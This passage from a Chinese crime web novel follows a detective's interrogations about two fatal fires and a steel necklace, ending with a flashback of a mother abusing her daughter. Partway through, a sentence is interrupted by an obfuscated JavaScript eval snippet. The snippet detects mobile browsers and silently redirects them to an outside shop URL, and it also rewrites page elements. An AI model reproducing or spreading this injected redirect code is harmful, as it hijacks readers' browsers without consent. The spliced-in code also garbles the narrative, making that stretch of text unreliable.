他像是忽然想起了什么,伸手从口袋里掏出一张照片,压在桌面上,缓缓推了过去:“麻烦你,再看一张照片。见过吗?” 女人的目光落下。 照片上,是一条被烈焰焚烧得扭曲变形的项链。 漆黑的瞳孔在刹那间收缩成针尖,下颌也骤然绷紧,却又在电光火石间被强行镇压、抚平,重新归于那潭深不见底的古井。 “没印象。”她的声音听不出一丝波澜。 严疏对这个答案毫不意外。他没收回照片,任由那焦黑的影像横亘在两人之间。 “这是遗体上发现的项链。”他缓缓说道,视线没有离开她的脸,“当然我理解,你们只短暂见了一面,没注意对方戴着什么饰品,也很正常。” 他顿了顿,语气低沉下去,逐渐掺入了一丝探究:“我想说的,是另一件事。” 女人仿佛有所感应,缓缓掀起眼帘,沉默地凝视着严疏。 严疏仿若未觉,自顾自地说了下去,声音在寂静的房间里回荡:“有桩旧案,产生了一个巧合......也是最初驱动我的源头。今天,想听听你的看法。” 桌对面的女人,依旧没有开口。 她没有表示同意,也没有出言反对,只是将原本平视的目光,缓缓地、一点一点地垂了下去,望向自己交叠置于腿上的双手。 严疏并不在意她的沉默,自顾自地说了下去,声音平直得像在宣读一份泛黄的卷宗: “那案子,也是场火灾。说起来其实简单,跟这次很像,只不过发生时间更早,是在傍晚。一户人家的煤气罐泄露爆炸,威力惊人,房子都差点抹平了。里面死了个女人,尸体几乎烧成了灰,不到四十岁,有个还没成年的女儿。她男人很早就跑了,母女俩相依为命——如果那能算‘相依’的话。” 他叙述时,目光始终落在对面女人的脸上,观察着最细微的波动。可她只是向后靠了靠,眼神有些飘忽,仿佛在听一个与己无关的、年代久远的故事。 严疏从怀里掏出一个边缘磨损的旧笔记本,翻开,目光扫过自己当年稚嫩潦草的字迹,继续道:“实际上,她们关系很糟。那女人不太会过日子,她男人的离开更是击垮了她,那之后她就把所有的失败和怨气发泄在了女儿身上,动辄打骂,日夜争吵,邻居们一开始还会劝解,后来也就麻木了,只当是背景噪音。” “出事那天晚上,邻居照例听到了吵嚷声,但没人放在心上。后来声音停了,小镇又睡得早,四下很快就一片寂静。”严疏顿了顿,指节轻轻叩了叩笔记本,“晚上十点左右就失火了。后来现场勘查发现,煤气罐的阀门被人动过,应该是故意放的气。尸体旁边,还找到了烧剩下的火柴头。” “邻居隔了个院子,人没事。但他们后来回忆,说那天晚上就感到头晕恶心,因此还早早睡了——据此推断,煤气泄漏可能已经持续了一段时间。另外,火灾前不久,医院刚确诊那女人得了胃癌。结合她一贯的厌世情绪和极端行为,当时初步的判断是自杀。由于现场大门是从内部反锁的,所以警方推测,她可能不仅想结束自己的痛苦,还打算带走女儿。” 随着叙述深入,女人的头渐渐低垂下去。她额前的刘海早已长成长发,分披脸颊两侧,此刻全然垂落,在顶灯照射下投下了两道浓重的阴影。 严疏似乎没再刻意打量,只是用那种近乎独白的语气继续推进:“后来警方找到了她女儿,那女孩当时在一个男同学家里写作业。时间已经不早了,她本不该还在外面,但走访证实,因为长期遭受暴力,那女孩就偷偷改造了卧室的窗户,以避开母亲进出家中。那天晚上她也是从那里爬出去到同学家写作业,这才阴差阳错,逃过了一劫。” “后来询问时,那女孩哭得撕心裂肺。从时间线、人物关系、现场证据来看,也没有其他疑点,所以很快就以自杀结案了。” 直到此刻,女人才终于缓缓抬头,声音里透着一股寂灭般的漠然:“所以呢?这案子听起来不是很清楚么?” 严疏凝视着她。 此刻的她,与几小时前那个在问询室里谈笑自若、暗藏机锋,仿佛一切尽在掌握的女人,简直判若两人。 某种沉重而阴郁的东西,如同潮湿的雾气,从她内部渗了出来,浸染了她的眉眼、姿态。那里面有种近乎空洞的颓然,竟与隔壁房间里迟昼身上弥漫的气息,有着某种晦暗的相似。 “对于自杀这个结论,我并没有太大异议。以死者当时的身体状况和精神状态,做出这样的选择,可能性确实很大。”严疏轻轻点了点桌上那张项链的照片,声音沉了下去,“但有一点......让我难以释怀。” “这条项链,当时就戴在那位死者的脖子上。它不是什么值钱玩意,主要材质是实心钢,也正因如此,才在火里保留了形状。案子了结后,它和其他遗物一起,还给了死者的女儿。” 他停住了,目光重新楔入对面女人的眼底,语速放得很慢:“这件事本身,或许无关紧要。但奇怪的是,在悦澜湾的火灾废墟里......我再次见到了它。” 女人静静听着,没有出声,没有反驳,连睫毛都未曾颤动一下,仿佛严疏只是个在讲述遥远奇闻的说书人。 严疏短促地笑了一下,却没有温度:“我也不跟你绕弯子了。刚才说的案子里侥幸逃生的那个女儿,就是楚谕。让我想不通的是......” 他向前微倾,脸上露出真实的困惑神情:“逝者的遗物,尤其是项链这类贴身的饰品,就算不处理掉,通常也不会再戴了吧?就算她对母亲念念不忘,执意要戴......可戴着它,以几乎相同的方式葬身火海......这巧合,是不是有点太刻意了?” 女人忽然笑了起来,那笑意很淡,浮于表面,不达眼底:“这世上啊......巧合多了去了。要是桩桩件件都非要想透,日子还过不过了?” 严疏也笑了,嘴角勾起,眼神却锐利如初:“巧合,或许可以放过。但真相,我一定要查个水落石出。” 女人脸上的笑意如退潮般缓缓退却。她静静地望着严疏,目光深处翻涌着某种复杂难辨的东西,再次染上了那种严疏无法完全解读的、难以名状的意味。 在一片无声之中,严疏同样收敛了所有表情。 寂静,如同实质的冰层,再次将两人冻结在对峙的两端。 相顾无言的静默在室内弥漫了许久。最终,严疏低低开口,声音里带着疲惫,却很是认真:“你......真的爱迟昼吗?” 那抹熟悉的、难以捉摸的笑意又一次攀上女人的唇角。她轻轻叹了口气,仿佛在应付一个单纯的孩子:“爱,到底是什么?无法称量,无法标价,虚无缥缈,风吹就散。” 她说着忽然掀起眼帘,直直看向严疏。那一瞬间,她周身的气质仿佛发生了某种微妙的、根本性的切换。 “我们之间......维系彼此的,远不止所谓的‘爱’。”她摇了摇头,声音低了下去,带着一丝喟叹般的感慨:“严疏,你根本......什么都不懂。” 这已是严疏第二次听到这个评价。这次他没有反驳,没有动怒,只是忽然无比清晰地记起了迟昼那句嘶哑的断言——“你不会再有进展了”。 一种深沉的、近乎虚无的疲惫感,毫无预兆地席卷而来。 他极轻微地摇了摇头,一句问话几乎是无意识地溢出了唇边:“所以......你们就要这样,一直走下去,是吗?” 女人唇边的笑意扩大了少许,眼神却飘向虚空,带着无人可见的茫然。她的声音轻柔下来,像是在回答,又像在自语:“为什么不。老实说,我们打算结婚了。也许......就在这几天。” 这原本该是极具冲击力、足以点燃怒火的话语,此刻却像投入深潭的石子,只在严疏心中漾开几圈微弱的、熟悉的涟漪。他感到了“意外”,但这“意外”本身,都已显得如此陈旧。 最终,他只是牵动嘴角,苦笑了一下:“你......真是个疯子。” 她报以一声轻笑,那笑声里竟有几分奇异的认可:“严警官,其实你也不遑多让。只是......可能还没意识到罢了。” 严疏摇了摇头,不再纠缠于言语的迷局。他缓缓站起身,木质椅腿与地面摩擦发出轻微的声响。走到门边,他半侧过身,例行公事地询问:“我们会提供餐食。有什么忌口吗?” 她无意识地抚了抚小腹:“我不吃银耳。” 严疏点了点头,半只脚已踏出门口,却又忽然顿住。他没有回头,只是背对着她,声音在空荡的走廊里显得有些飘忽:“最后一个问题。你......整过容吗?” 跟在他身后的李涵也下意识停住脚步,转头望向桌后。 女人坐在那片冷白的灯光下静静回望,脸上挂着温软柔和的笑,像是一幅精心绘制的肖像。红唇微启,却只是那样微笑着,终究未发一言。 严疏垂下目光,极轻地、自嘲般地笑了一下,随后再不犹豫,抬步踏入门外的光影之中。 ———————————— 短暂的休息后,严疏带着更为沉重的心情,再次站到了迟昼所在的问询室门外。 透过单向玻璃望进去,里面的人低垂着头颅,肩膀塌陷,整个身体以一种了无生气的姿态蜷在椅子里,与不久前那个似乎试图走向“新生活”、眼神里偶有微光的男人判若两人。 严疏闭了闭眼,压下心头翻涌的复杂情绪,最终还是推门走了进去。 整理领口,沉默落座。空气仿佛比之前更加粘稠,带着未曾散尽的悲苦余味。 过了很久,久到李涵几乎以为这场问询会以无尽的沉默告终时,严疏才终于有了动作。他再次取出那张项链的照片,动作缓慢地推过桌面。 “麻烦你看看这个。”他的声音有些沙哑,“见过吗?” 迟昼缓慢地抬起眼皮,目光涣散地落在照片上。他皱着眉,眼神空洞地凝视了那枚设计夸张的日月挂坠许久,才终于低沉地开了口:“有印象。是我......买给楚遇的。” “什么?!” 这平淡无奇的简短回应,却像一道无声的惊雷,猝然劈进了严疏的脑海,炸得他耳中嗡嗡作响,几乎从椅子上弹起来。 因为这项链接连出现在两代死者的脖颈上,他的第一质询对象自然就是那个女人。可迟昼此刻平平淡淡给出的答案,却像一只无形的手,猛地掀翻了认知的轨道。 楚谕曾亲口对宋朗说过——这项链,是她母亲的遗物。 “遗物”确实没错,但它的来源......竟是迟昼送给少女楚遇的礼物? 可是......对于邹婷而言,女儿同学赠送给女儿的纪念品项链,怎么会出现在她的颈项上? 是出于病态的妒忌,从女儿那里抢夺而来?还是...... 那并不纤细、由实心钢材打造的链绳部分,忽然无比清晰地映入严疏的脑海——冰冷、坚硬、牢固,连吞噬一切的大火,都没能将它抹除。 一个比“抢夺”更加冰冷、更加惊悚的猜测,如同蛰伏已久的毒蛇,忽然猛地昂首,噬向了他的理智—— 邹婷脖颈上那条错位的项链,或许......根本不是她自己戴上的。 那可能是......被人套上去的。 如同再次经历最初推断出“替身”真相时的剧烈冲击,严疏只觉得一股寒意从尾椎骨瞬间炸开,沿着脊柱急速攀升至头顶,激得他浑身汗毛倒竖。可能的“真相”令他猛地挺直了腰背,整个人僵在椅子上,血液仿佛在耳中轰鸣,又骤然退潮,只留下冰冷的空洞。 头脑之中一片混乱,他张了张嘴,却发现自己失声般发不出任何音节,只能愣愣地坐在原地,眼睁睁看着那个冰冷的推测在脑中生根、蔓延。 所有纷乱的线索、矛盾的证词、人物之间扭曲的关系,此刻都在一个骇人的假设下,开始了疯狂地重组与碰撞。冷汗悄无声息地沁出,迅速浸湿了后背的制服面料,带来一片黏腻冰冷的触感,紧紧贴附在皮肤上。 在对悦澜湾火灾案抽丝剥茧、并与那隐藏在表象后的主谋漫长周旋之后,严疏自认,这次已经真正窥见了人性深处那盘根错节的晦暗。 罪孽,并非凭空滋生。它萌发于深埋心底的执念,最终在走投无路的绝境之中,绽开名为恶念的花。 并非他天性倾向于以最晦暗的视角揣度人心,而是......面对眼前这两个被过往的情愫、扭曲的依赖与累累的伤痕蚀空了常理心智的人,他已无法再用任何寻常逻辑去丈量。 悦澜湾的大火,是一场处心积虑的“涅槃”。 那么......当年的河溪镇呢? 那个被证实有“人为松动痕迹”的煤气阀门......真的是“自杀者”的自我了断吗? 那项链,究竟是饰品,还是......绞索? 一股冰冷、狂暴的洪流狠狠冲击着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369956|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严疏本已疲惫不堪的神经,在强行唤醒他理智的同时,也点燃了压抑在深处的怒火。 连发生在当下、他亲身追查的悦澜湾火灾,至今都未能取得足以推进司法流程的实质性证据,更何况那桩早已盖棺定论、尘封了十三年的旧案? 烈焰平等地吞噬着一切,证据、痕迹、乃至部分真相,都会随之化为青烟与灰烬。当烟尘冷却,真相便只存在于亲历其境的生者的记忆里,随着时间逐渐风化,或被刻意篡改、封存。 难怪......迟昼会那般绝望而笃定地断言——“你不会再有进展了”。 又是同样的死局。即便逻辑的拼图已近乎完整,即便罪恶的轮廓已在脑海中狰狞浮现,他却再一次的,只能徒劳地站在原地。 像个隔着厚重玻璃的旁观者——能看清展厅里那件名为“真相”的展品,却似乎永远无法真切触及。 严疏的呼吸不受控制地变得粗重,胸腔剧烈起伏。他猛地睁开眼,灼灼目光直直刺向对面那个颓丧、佝偻,却依然散发着某种密不透风的僵硬气息的人。那股深深的无力感,开始迅速转化为更为炽烈、也更令人窒息的愤怒。 他牙关紧咬,下颌骨绷得棱角分明,试图压制那几乎要冲破胸膛的悲愤,可终究只是徒劳。那股情绪如同骤然喷发的熔岩,猛地冲破了所有理智的封盖。 他猛地从口袋里抽出另一张照片,狠狠摔在桌面上,身体前倾,声音因极度压抑而嘶哑低沉,却字字如刀: “你看看——这!是!谁!” 李涵被他这突如其来的暴烈惊得一颤,下意识瞥向那面单向玻璃,心头惴惴。 迟昼却仿佛置身于另一个维度,甚至没有注意到严疏的失控。他只是怔怔地抬眼,目光落向那张照片。 下一秒,他整个人凝固了。 那是一张标准的证件照。照片上的女人五官柔和,眉眼秀致,一双桃花眼形状姣好,程式化地望着镜头,没有多余的笑容。 这张脸......与另一张面容有着几分难以言喻的相似,但细看之下,眉梢眼角的弧度、鼻梁的线条、唇形的薄厚......分明是张属于独立个体的鲜活脸庞。 迟昼仿佛被瞬间抽空了灵魂,僵坐在那里,一动不动。 他的目光明明落在照片上,却又好像穿透了它,散向了一片虚无的、没有尽头的空洞。一片凝滞之中,眼眶深处的血丝开始以肉眼可见的速度弥漫开来,交织着爬上眼白。 严疏看着那张始终笼罩在阴郁之中、仿佛对一切悲喜都已绝缘的脸,此刻只觉得前所未有的刺目可憎。手指重重戳在照片上,几乎要将其洞穿,每个字都从齿缝里迸出: “给、我、看、清、楚!告诉我——她、是、谁?!” 迟昼闭上了眼,极其轻微地摇了摇头,仿佛想将这个画面从脑海中驱逐。 无人可见的桌下,右手掌心已被指甲深深掐入,鲜血无声渗出,裤腿因腿部肌肉无法控制的痉挛而微微抖动。 严疏却已无暇顾及这些细微的崩溃征兆。对案情追踪的长久无果、对正义无从伸张的无力、对冰冷“真相”的彻骨认知,此刻已如毒液般侵蚀了他的理智。他仿佛陷入了一种悲愤的谵妄,忽然低低地、怪异地笑了两声,随后猛地一巴掌拍在照片上,悲声怒喝: “迟昼——!” 问询室的门被再次大力推开,赵队的身影疾步闯入。 但这一次,严疏的理智如同断线的风筝,迟迟无法拉回。即便被赵队和李涵一左一右死死拉住,他仍拼尽全力向前挣去,手臂凌空指向那张孤零零躺在桌上的证件照,低声嘶吼: “迟昼!睁开眼睛看看清楚她到底是谁?!她在你身边生活了四年!四年!你就这么对她!你眼睛瞎了,心也瞎了?!” 赵队脸色铁青,手臂更加用力,几乎是用擒拿的力道将他向后勒拽,厉声警告:“严疏!闭嘴!” 严疏却仿佛聋了,充耳不闻。在被拖到门边时,他忽然伸手死死扒住门框,扭过头朝着迟昼的方向继续呐喊: “我告诉你——那具遗体,倒在门口!不是沙发上!不是床上!是门口——” 李涵已经彻底惊呆了,只能机械地帮着赵队,拼命将严疏往外拖拽。赵队眼见情况失控,干脆曲起臂弯,用力锁住严疏的颈部向后发力,试图强制中断他失控的宣泄。 呼吸被扼制,严疏的脸迅速涨红发紫,额角血管突突狂跳,脖颈青筋暴起。他却仿佛感觉不到窒息,只是用肺里残存的最后一点空气,挤出一串破碎的音节: “她......在往外爬......最后她清醒了!她清醒了!她是活生生——” 最后几个字被合拢的厚重门扉轰然截断,吞没在冰冷的隔音材料之后。 一声闷响,彻底隔开了两个世界。 问询室内,落针可闻。没有再次出现崩溃痛哭,也没有歇斯底里的嚎啕捶打,甚至没有一丝多余的声响。 这一次,什么都没有。 座椅上的人,仿佛被严疏最后的话语抽走了全部精魂、血液与温度。他颓然后仰,彻底瘫进椅背,头颅无力地仰起,面向空无一物的天花板。脸上再无任何表情,肌肉松弛,眼神空洞,如同一具被风干的躯壳,了无生气,唯余一片行将就木的宁静。 死一样的沉寂,浓稠得再也无法化开。 在这片绝对的沉静中,迟昼缓缓闭上了眼。两行清泪毫无征兆地、接连不断地从眼角滑落,濡湿了鬓角,洇入了衣领。可自始至终,未闻一丝哽咽,未有一声抽泣。 唯有泪珠落地的滴嗒声,宣告着某个内在的世界,已在静默之中彻底崩解,碎为齑粉。 ———————————— 门外,赵队死死揪着严疏的领口,将他抵在冰冷的墙壁上,额角青筋跳动,压低的声音里满是压不住的怒火:“严疏!你他妈也疯了?!” 李涵在一旁手足无措,想上前劝阻却又不敢,只能焦急地张了张嘴,最终什么声音也没发出来。 严疏眼里血丝密布,却对赵队的钳制毫无反抗,只是失神地望向虚空,过了几秒,才仿佛从很远的地方回过神,声音低哑得近乎呢喃:“那条项链......是迟昼......买给楚谕的......” 赵队动作一滞,力道松了几分,但脸上的怒容未退:“清醒点没有!” 严疏失去支撑,顺着墙壁缓缓滑坐在地。他低着头,反复地、机械地重复着那个意外的发现:“两次出现在火灾现场的项链......是迟昼买的......是他送给楚谕的......” 赵队拧紧眉头,满心烦躁:“你到底想说什么?” 严疏微微抬头,望向赵队。那双总是锐利、执拗甚至带着点凶狠的眼睛里,此刻只剩下一种近乎茫然的无力与无措,看得赵队心头一揪。 “如果......那项链本不属于邹婷......那当年出现在她脖子上......就不是作为‘饰品’那么简单了......” 赵队脸上残余的怒意退去,取而代之的是一种难以置信的凝重。他喉结滚动了一下,声音干涩:“你的意思是......当年河溪镇那场火......也......” 话没说完,但那未尽的含义,已让一旁的李涵如遭雷击,彻底呆立当场。 严疏双手深深插进头发里,手指揪扯着发根,声音闷在掌心:“我不知道......但对那两个人,还有什么......是不可能的?” 外间陷入一片寂静,只有通风系统发出低微的嗡鸣,衬得这份沉默更加震耳欲聋。 过了许久,他才撑着墙壁,缓缓站了起来。身体晃了晃,他扶住旁边的档案柜才稳住,低头闷咳了两声。 “他没说错。”严疏望着地面,声音平缓,“这两把火......都不会再有进展了。” 他一边说,一边拖着沉重的步伐,踉跄地向外走去。到了走廊门口,他又扶着门框停下,背对着两人,没有回头:“时间差不多了......准备放人吧。” 他停顿了一下,肩膀几不可察地垮塌了一瞬,又强行挺直。 “这次......所有处分,我都接受。”话音落下,严疏缓缓转过身。眼底之前的迷茫与无力已被某种更坚硬的东西取代。 他看着赵队,目光灼灼,似有冷焰在燃:“但就算寸步难行,我也还要继续。” 说罢他不再停留,转过身,一步一步,缓缓没入走廊尽头昏沉的光影。 身后,只余两道久久无法移开的、复杂难言的目光。 33.叁拾叁 释放的流程枯燥而机械,每一秒都浸透着无形的重量。过程中赵队说了许多致歉辞令,而直到简宁在大厅里再次见到迟昼,才明白那官样文章,其实不止是程序化的客套。 他独自坐在大厅角落的长椅上,周身笼罩的沉寂与过往相似,却又截然不同——那是一种更深、更彻底的东西,仿佛内部已然碎裂,只勉强维持着外在的轮廓。她甚至无需走近,就能感受到一种彻底割裂的、带着毁灭气息的沉痛,如无形的寒潮般扑面而来。 简宁的脚步几不可察地顿了一瞬,随即加快上前。她蹲下身,手掌轻轻贴上他冰凉的脸颊,声音刻意放得柔软:“没事了......都结束了。” 她感受着指尖僵硬的触感,语调中带着一种徒劳的安抚:“我们回家,我们......回家。” 听到声音,迟昼极其缓慢地、怔忡地抬起头。 当他的面容完全展露在光线下的那一刻,简宁的呼吸微微一窒。 那双惯常带着疏离笑意的桃花眼里,逐渐翻涌起深不见底的悲哀,几乎要凝成实体。而在此之前,即便历经了数次交锋与试探,她都未曾有过如此外露的、剧烈的情绪动荡。 那种基于岁月与沉默形成的、嵌入了本能的联结,在此刻猛烈震颤。在与他目光相接的刹那,某种不祥的明悟如同冰锥,猝然刺穿了她的心脏。 抚在迟昼脸颊上的、试图传递温暖的指尖,开始无法抑制地细微战栗。 她深吸一口气,尽力压住那股从脊椎窜上的寒意,转而轻轻握住了他垂在身侧、冰冷僵硬的手。她的声音依旧努力维持着平稳,却逐渐泄出一丝不易察觉的颤抖:“我们......走。” 迟昼像个被抽走了灵魂的木偶,任由她牵引着站起身,脚步虚浮地跟着她朝外挪去。 由于严疏的执着追索,加之近来他处境的微妙“好转”,因此“悦澜湾火灾”这个案子在警员之间早已耳熟能详。众人虽不清楚具体隐情,却都对这场旷日持久的莫名角力有所耳闻,此次得知赵队批准了传唤,更是有不少人私下里翘首以盼,想看个究竟。 此刻,看着状态明显异常、彼此搀扶却更像共同沉沦的两人缓慢穿过大厅,在场的警员不禁暗暗交换眼神。几个听闻风声的同事甚至悄悄从办公室出来,站在走廊的阴影里,远远望着两人的背影。 一道身影悄无声息地出现在人群边缘,正是面色苍白、透着疲惫的严疏。 他静立在那里,目光落在即将走出大门的两人身上,眼底没有温度,没有波澜,只剩下一种深沉的平静。 简宁对身后的一切置若罔闻。她全部的注意力都集中在臂弯里这个几乎失去灵魂的躯壳上,扶着他,一步步走向门外光亮与喧嚣的交界。 阳光有些刺眼。始终魂不守舍、仿佛与外界彻底断联的迟昼,在迈下台阶时忽然一脚踏空,整个人瞬间失去平衡,猛地向前栽倒,顺着冰冷的石阶滚落下去,险些将简宁一同带倒。 “阿昼!” 本已逐渐散去的几名警员被这声惊呼吸引,又纷纷聚拢过来。严疏和几个离得近的下意识便冲下台阶,想要上前搀扶。 简宁离得最近,已迅速扑到迟昼身边,试图将他扶起,但迟昼仿佛已经彻底宕机,竟一时拽不起来。身后脚步声迫近,她猛地回过头—— “别过来!” 一贯低柔的嗓音骤然拔高,带着一种尖利的抗拒。那双桃花眼里没了平日的温软疏离,只剩下阴郁的沉火,逼视着靠近的几人。 已经靠近的几名警员被她这突如其来的厉喝慑住,不由得刹住脚步,面面相觑,最终在逼视下迟疑地向后退开了几步,让出了空间。 人群退开,便只剩下台阶下方,那道仍旧伫立的沉默身影。 简宁没有看他,转回头,快速检查迟昼的状况——除了几处擦伤,应该并无大碍。可他仿佛完全失去了知觉,对疼痛、对触碰、乃至对周遭的一切都毫无反应,只是静静地、了无生气地伏在冰冷粗糙的石阶上,侧脸贴着地面,眼神空茫地望向前方某个并不存在的点。 就在这时,游离的迟昼却似乎感知到了面前人的气息,微微转动脖颈,望了过来。 在一片几乎凝固的寂静中,他忽然呢喃出声,声音嘶哑干裂,却异常清晰: “......楚遇。” 四周一时宁静。即便众人不知内情,却也对这个名字并不陌生——那是悦澜湾火灾案的卷宗上,白纸黑字写着的死者。 严疏抬起眼,目光沉沉地落在两人身上。 女人的动作停顿了一瞬。随即,她缓缓掀起眼帘,迎上了迟昼涣散的目光,唇角温柔地勾起,一如往昔。 在刑侦支队肃穆的门前,在众目睽睽的注视之下,她的回应依旧平静,与过往的无数次并无分别。 “我在。” 细微的抽气声与压抑的私语,开始在人群之中窸窣蔓延。低低的嘈杂里,严疏几不可闻地叹了口气,缓缓阖眼。 迟昼却只是愣愣地望着她,脸上没有任何波澜,仿佛那声应答并未落入耳中,或是已无法激起任何回响。女人始终维持着那温柔而专注的微笑,直到他眼中最后一点清明也彻底涣散、熄灭。 她这才深吸一口气,缓缓转过头,可目光却依旧低垂,并未看向身后的严疏。 仿佛有些支撑不住,简宁干呕了两下,才缓缓开口,那声音压得极低,带着一丝几乎无法捕捉的颤抖,轻得几乎散在风里,只够飘进严疏一人耳中: “就不能......给条活路?” 严疏几不可察地垂了下眼睫,心中只觉荒谬绝伦,却又不知为何沉重无比。他没有回答,甚至连一个音节都未发出,只是沉默地站在那里。 可这沉默本身,已是明确的答案。 简宁依旧望着地面,静候了片刻,像在聆听这片沉默最后的回响。终于,她极轻地点了点头,不再言语,仿佛只是确认了一个早已知晓的答案。 她转过身,用尽全身力气将迟昼从地上搀扶起来,让他大部分重量靠着自己,一步一步,缓慢地向外挪去。 头顶,天穹正被无声点燃。赤色云霭肆意蔓延,如同一场盛大的烈焰。 身后,严疏立在台阶之上。那道目光如沉铁般烙在他们背上,疲惫、复杂,却寸步未移。 ********* 直到在客厅沙发上坐下,迟昼始终维持着那种魂不守舍的状态,目光散落在不知名的虚空之中。 简宁沉默地取来药箱,坐到他身边,开始为他清理手臂和手掌的伤口。棉签蘸着消毒药水,轻轻按上掌心——那里不是摔倒的擦伤,而是几道明显由自残留下的、深陷皮肉的月牙形血痕。 她垂眸看着,什么也没问,只是动作更轻了些。 等所有伤口处理完毕,药箱被放回原处时,迟昼才终于开了口,声音像砂纸磨过枯木:“我......不能这样下去了。” 简宁闭了闭眼,没有回应,只是沉默地坐回他身边。 那长久以来隐秘盘踞、如影随形的恐惧,此刻终于浮出了水面。 可带来的,却并非灭顶的恐慌窒息,而是一丝近乎虚脱的释然。 她无意识地抚过自己的小腹,像在触碰一个易碎的梦境,呢喃声低得如同梦呓:“为什么......会这样啊。” 迟昼沉默以对。一时间,只有沉重的呼吸在室内起伏。 许久,他才缓缓摇头,声音里浸透了无法言喻的悲伤,每个字都带着细微的战栗:“一步错......步步错啊......” 他将脸深深埋进掌心,肩膀难以自制地耸动起来,呼吸声粗重而破碎,像寒冬里不堪重负的老旧风箱。 简宁侧过身凝视着他,眼底盈满悲恸。她想说些什么,却欲言又止,最终只能伸手用力揽住他颤抖的肩颈,像往常一样,试图用怀抱的温度将他从冰窖之中打捞。 但这一次,那点温存的慰藉似乎失去了效用。 迟昼反手抓住她的手臂,力道大得令她生疼。可他浑身的战栗非但没有平息,反而愈演愈烈,嘴唇哆嗦着,反复吐出破碎的呓语:“是我的错......都是我的错......” 女人揽住他的胳膊收得更紧,眼眶无法抑制地开始酸胀发热。那长久以来保护着她的沉郁疏离,在这一刻土崩瓦解、片片剥落。 迟昼仿佛彻底堕入了梦魇,仍在不停地向下沉沦:“我害了你......又害了她......我还......我还......” 女人闭上眼,心脏像被一只冰冷的手攥紧,绝望地等待着那最后的、心知肚明的自我审判。 “......杀了你妈妈。” 她将额头重重抵在他颤抖的肩头,紧闭的眼睑再也支撑不住,久违的、滚烫的泪水终于冲垮了堤坝,无声地汹涌而出。 她感受着臂弯里这个正在分崩离析的灵魂,深深地、用力地吸了一口气,再睁眼时,里面已燃起一种复杂的决然。她松开怀抱,双手用力捧起迟昼的脸,目光直直望入那双盛满了无尽痛苦与自我割裂的眼。 她声音微哑,却带着斩钉截铁的力度,仿佛在宣读一个事实:“那不怪你。” 迟昼依旧深陷在混沌的泥沼里,极轻微地摇着头,眼神涣散:“你......不能替她这么说。” 女人闭上眼,身体前倾,将自己的额头轻轻抵上他。两人呼吸交融,她的声音轻得像一片羽毛,几乎只剩气音:“我......没有替她说。” 她停顿了片刻,如同最终卸下了全部枷锁,带着孤注一掷的坦率,和一丝意味不明的叹息: “这是她......亲口说的。” ********* 昏暗的光线下,迟昼望着面前那张因愤怒和病态而完全扭曲的面孔,一瞬间寒毛倒竖,瞳孔紧缩,下意识地向后退了半步。 邹婷却不再看他,阴鸷的目光死死钉在门边的楚遇身上,声音像从齿缝里挤出来,带着湿冷的寒意:“你妈还没死呢,就急着往家里带人了?” 楚遇的身体肉眼可见地开始颤抖:“妈......” 一记清脆狠戾的耳光截断了她的话。邹婷的语气依旧阴森,却陡然拔高,变得尖利起来,话题也跳跃得毫无逻辑:“白眼狼!还敢去找那个死人?啊?!你怎么敢!你怎么敢——!” 她眼中的血丝疯狂蔓延,几乎吞没眼白,癫狂与刻骨的痛苦在其中激烈翻搅:“他不要你了!他也不要我了!我们都像垃圾一样被他扔了!就这样......就这样你还要舔着脸凑上去?!送上门让周家那俩老不死的作践!!” 楚遇低着头,牙齿深深陷进下唇,甚至尝到了铁锈味,却发不出任何辩解的声音。 这沉默却如同火上浇油。 邹婷踉跄着扑上来,枯瘦如爪的手狠狠揪住楚遇的衣领,呼哧带喘的浊气喷在女儿脸上:“我告诉你......我就算是烂死、疼死!也不用他那臭钱来续命!就是他杀了我!是他一刀一刀活剐了我!你怎么敢去找他!你怎么能去找他!啊——!!” 最后一丝理智在陈年的怨恨与病痛的折磨中彻底崩断。她完全忽略了迟昼,只是猛地发力,将楚遇狠狠拽进昏暗的客厅,随后用尽全身力气将她掼倒在地。 “啊!”楚遇短促地惊叫一声,摔倒时本能地伸手想抓住什么,却只拽倒了旁边的一把旧椅子。椅背上挂着的书包随之掉落,“哗啦”一声,书本、试卷、零碎的文具倾泻而出,铺了一地。 这声响让狂怒中的邹婷下意识地扭头一瞥。 只一眼,目光便骤然僵住,死死定在散落物品中的某一点上。下一秒,她猛地转回头,眦目欲裂,眼球几乎要脱眶而出,颤抖的手指指向一处,声音尖厉到破音: “那是什么?!哪来的?!!” 楚遇惊恐地向后瑟缩,甚至不用去看,不祥的预感已如冰水灌顶,让她有些绝望地闭上了眼。 在散乱的课本和卷子之间,静静躺着一条金属质地的、造型浮夸的项链。日月纠缠的吊坠,在昏暗之中反射着冰冷的微光。 “嗬......嗬嗬......”邹婷喉咙深处挤出了两声怪异低沉的笑,像是破损的风箱。她两步上前,粗暴地骑在楚遇身上,扬手又是一记重重的耳光。 “哪来的!说啊!到底哪来的——!!” 楚遇脸颊火辣辣地疼,耳中嗡嗡作响,却心知绝不能说实话,否则母亲必将陷入万劫不复的疯狂。可在极致的恐惧和连续的耳光下,她的大脑一片空白,身体背叛了意志,视线不受控制地、求救般投向了卧室门口—— 迟昼僵硬地杵在那里,脸色惨白,早已被这超出理解范围的狂暴与混乱,震慑得失去了所有反应。 邹婷的理智虽已被厚重的阴翳蒙蔽,但在暴怒的催动下,感官却如野兽般异常敏锐。她立刻捕捉到女儿那细微的视线偏移,顺着那道惊慌的目光猛地扭头,再次看见了那个擅自闯入家中的少年。 她愣了一瞬,好像直到此刻才真正惊觉还有外人在场。 可这短暂的停顿立刻又被汹涌的狂怒吞没。邹婷意识到了什么,转回头,手指攥紧楚遇的衣领,将她整个人提起来又狠狠掼向地面,声音嘶哑如裂帛,仿佛字字泣血: “他送的?!这项链他送的?!为什么!你告诉我为什么——?!” 